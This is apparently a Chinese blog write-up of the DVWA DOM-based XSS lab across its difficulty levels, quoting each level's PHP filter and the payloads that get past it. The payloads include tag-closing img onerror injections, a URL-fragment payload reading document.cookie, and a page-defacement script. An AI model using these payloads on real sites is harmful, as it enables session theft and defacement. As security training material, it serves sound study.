XSS(DOM型)利用与实战

继续,Go,GO,Go !!!

等级为:low

在这里插入图片描述

DVWA/vulnerabilities/xss_d/?default=English

default没有经过严格的过滤。

构造payload:DVWA/vulnerabilities/xss_d/?default=English<script>alert(/XSS/)</script>

在这里插入图片描述
成功!

查看源码:

<?php

# No protections, anything goes

?>

没有任何过滤。

等级为:medium

先看源码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

先判断我们传入的函数是否为空,并且经过stripos()函数处理。

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

注释:stripos() 函数是不区分大小写的。

<script>会被查出来,大小写绕过也没用

双写也不行。

只能使用一些其他的标签。

img标签:<img src=1 onerror=alert('/XSS/')>

没有弹窗,没有成功。

看了一下

在这里插入图片描述
我们的代码插入到了value里,没有插入到option里。

那我们就闭合掉<option>,构造新的payload:DVWA/vulnerabilities/xss_d/?default=English</option><img src=1 onerror=alert('0xdawn')>

在这里插入图片描述
还是不行。

那我们就再闭合<script>,构造新的payload:DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert('0xdawn')>

在这里插入图片描述
弹窗成功了。

等级为:high

一顿操作发现不行,看源代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

先判断我们传入的default是否为空,通过switch语句进行白名单限制。

大佬们用的方法都是应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。

构造payload:<script>alert(/XSS/)<script>发现不行。

看了大佬的博客,他的payload:English#</option></select><BODY ONLOAD=alert(document.cookie)>
闭合了<option>和<select>,从而弹窗成功了!(但是触发好像有点问题)

在这里插入图片描述

等级为:impossible

源码:

<?php

# Don't need to do anything, protction handled on the client side

?> 

啥也没有😑😑😑😑

在这里插入图片描述

对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。

页面篡改payload:<script>document.body.innerHTML="<div style=visibility:visible;><h1>页面亦被篡改</h1></div>";</script>

在这里插入图片描述

至此,XSS已经结束了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值